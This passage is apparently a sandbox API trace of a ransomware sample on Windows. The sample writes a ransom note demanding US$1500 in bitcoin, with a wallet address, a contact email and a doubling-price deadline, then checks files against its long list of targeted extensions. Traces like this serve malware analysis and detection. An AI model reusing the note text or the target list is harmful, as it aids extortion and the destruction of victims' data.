(lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\1dd37db07c93d0d49379838760970302\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.403] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.403] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.404] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.404] CloseHandle (hObject=0x90) returned 1 [0111.404] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll" [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ems") returned 0 [0111.405] lstrlenA (lpString="*.ems") returned 5 [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.db") returned 0 [0111.405] lstrlenA (lpString="*.db") returned 4 [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dbf") returned 0 [0111.405] lstrlenA (lpString="*.dbf") returned 5 [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.myox") returned 0 [0111.405] lstrlenA (lpString="*.myox") returned 6 [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.myo") returned 0 [0111.405] lstrlenA (lpString="*.myo") returned 5 [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbw") returned 0 [0111.405] lstrlenA (lpString="*.qbw") returned 5 [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbb") returned 0 [0111.405] lstrlenA (lpString="*.qbb") returned 5 [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbm") returned 0 [0111.405] lstrlenA (lpString="*.qbm") returned 5 [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbo") returned 0 [0111.405] lstrlenA (lpString="*.qbo") returned 5 [0111.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbx") returned 0 [0111.405] lstrlenA (lpString="*.qbx") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qba") returned 0 [0111.406] lstrlenA (lpString="*.qba") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qby") returned 0 [0111.406] lstrlenA (lpString="*.qby") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbj") returned 0 [0111.406] lstrlenA (lpString="*.qbj") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ofx") returned 0 [0111.406] lstrlenA (lpString="*.ofx") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qif") returned 0 [0111.406] lstrlenA (lpString="*.qif") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mye") returned 0 [0111.406] lstrlenA (lpString="*.mye") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mbox") returned 0 [0111.406] lstrlenA (lpString="*.mbox") returned 6 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.eml") returned 0 [0111.406] lstrlenA (lpString="*.eml") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pst") returned 0 [0111.406] lstrlenA (lpString="*.pst") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ost") returned 0 [0111.406] lstrlenA (lpString="*.ost") returned 5 [0111.406] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.idx") returned 0 [0111.407] lstrlenA (lpString="*.idx") returned 5 [0111.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dbx") returned 0 [0111.407] lstrlenA (lpString="*.dbx") returned 5 [0111.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.sql") returned 0 [0111.407] lstrlenA (lpString="*.sql") returned 5 [0111.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mdb") returned 0 [0111.407] lstrlenA (lpString="*.mdb") returned 5 [0111.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.fdb") returned 0 [0111.407] lstrlenA (lpString="*.fdb") returned 5 [0111.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.wab") returned 0 [0111.407] lstrlenA (lpString="*.wab") returned 5 [0111.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dat") returned 0 [0111.407] lstrlenA (lpString="*.dat") returned 5 [0111.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.txt") returned 0 [0111.407] lstrlenA (lpString="*.txt") returned 5 [0111.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.jpeg") returned 0 [0111.407] lstrlenA (lpString="*.jpeg") returned 6 [0111.407] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.jpg") returned 0 [0111.407] lstrlenA (lpString="*.jpg") returned 5 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.png") returned 0 [0111.408] lstrlenA (lpString="*.png") returned 5 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.php") returned 0 [0111.408] lstrlenA (lpString="*.php") returned 5 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.cs") returned 0 [0111.408] lstrlenA (lpString="*.cs") returned 4 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.cpp") returned 0 [0111.408] lstrlenA (lpString="*.cpp") returned 5 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.rar") returned 0 [0111.408] lstrlenA (lpString="*.rar") returned 5 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.zip") returned 0 [0111.408] lstrlenA (lpString="*.zip") returned 5 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.html") returned 0 [0111.408] lstrlenA (lpString="*.html") returned 6 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.htm") returned 0 [0111.408] lstrlenA (lpString="*.htm") returned 5 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.xlsx") returned 0 [0111.408] lstrlenA (lpString="*.xlsx") returned 6 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.xls") returned 0 [0111.408] lstrlenA (lpString="*.xls") returned 5 [0111.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mp4") returned 0 [0111.409] lstrlenA (lpString="*.mp4") returned 5 [0111.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ppt") returned 0 [0111.409] lstrlenA (lpString="*.ppt") returned 5 [0111.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pptx") returned 0 [0111.409] lstrlenA (lpString="*.pptx") returned 6 [0111.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.doc") returned 0 [0111.409] lstrlenA (lpString="*.doc") returned 5 [0111.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dot") returned 0 [0111.409] lstrlenA (lpString="*.dot") returned 5 [0111.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.docx") returned 0 [0111.409] lstrlenA (lpString="*.docx") returned 6 [0111.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.7z") returned 0 [0111.409] lstrlenA (lpString="*.7z") returned 4 [0111.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.tar") returned 0 [0111.409] lstrlenA (lpString="*.tar") returned 5 [0111.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.bz2") returned 0 [0111.409] lstrlenA (lpString="*.bz2") returned 5 [0111.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.gz") returned 0 [0111.410] lstrlenA (lpString="*.gz") returned 4 [0111.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mkv") returned 0 [0111.410] lstrlenA (lpString="*.mkv") returned 5 [0111.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.eml") returned 0 [0111.410] lstrlenA (lpString="*.eml") returned 5 [0111.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.msg") returned 0 [0111.410] lstrlenA (lpString="*.msg") returned 5 [0111.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.edb") returned 0 [0111.410] lstrlenA (lpString="*.edb") returned 5 [0111.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.accdb") returned 0 [0111.410] lstrlenA (lpString="*.accdb") returned 7 [0111.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.odb") returned 0 [0111.410] lstrlenA (lpString="*.odb") returned 5 [0111.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.java") returned 0 [0111.410] lstrlenA (lpString="*.java") returned 6 [0111.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.asm") returned 0 [0111.410] lstrlenA (lpString="*.asm") returned 5 [0111.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pfx") returned 0 [0111.410] lstrlenA (lpString="*.pfx") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pem") returned 0 [0111.411] lstrlenA (lpString="*.pem") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.p12") returned 0 [0111.411] lstrlenA (lpString="*.p12") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.gpg") returned 0 [0111.411] lstrlenA (lpString="*.gpg") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.vsd") returned 0 [0111.411] lstrlenA (lpString="*.vsd") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.odg") returned 0 [0111.411] lstrlenA (lpString="*.odg") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.raw") returned 0 [0111.411] lstrlenA (lpString="*.raw") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.nef") returned 0 [0111.411] lstrlenA (lpString="*.nef") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.svg") returned 0 [0111.411] lstrlenA (lpString="*.svg") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.psd") returned 0 [0111.411] lstrlenA (lpString="*.psd") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.vmx") returned 0 [0111.411] lstrlenA (lpString="*.vmx") returned 5 [0111.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.vmdk") returned 0 [0111.412] lstrlenA (lpString="*.vmdk") returned 6 [0111.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.vdi") returned 0 [0111.412] lstrlenA (lpString="*.vdi") returned 5 [0111.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.lay6") returned 0 [0111.412] lstrlenA (lpString="*.lay6") returned 6 [0111.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mpeg") returned 0 [0111.412] lstrlenA (lpString="*.mpeg") returned 6 [0111.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.djvu") returned 0 [0111.412] lstrlenA (lpString="*.djvu") returned 6 [0111.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.tiff") returned 0 [0111.414] lstrlenA (lpString="*.tiff") returned 6 [0111.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.backup") returned 0 [0111.414] lstrlenA (lpString="*.backup") returned 8 [0111.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pdf") returned 0 [0111.414] lstrlenA (lpString="*.pdf") returned 5 [0111.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.cert") returned 0 [0111.414] lstrlenA (lpString="*.cert") returned 6 [0111.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.docm") returned 0 [0111.415] lstrlenA (lpString="*.docm") returned 6 [0111.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.xlsm") returned 0 [0111.415] lstrlenA (lpString="*.xlsm") returned 6 [0111.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dwg") returned 0 [0111.415] lstrlenA (lpString="*.dwg") returned 5 [0111.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.nd") returned 0 [0111.415] lstrlenA (lpString="*.nd") returned 4 [0111.415] PathMatchSpecA 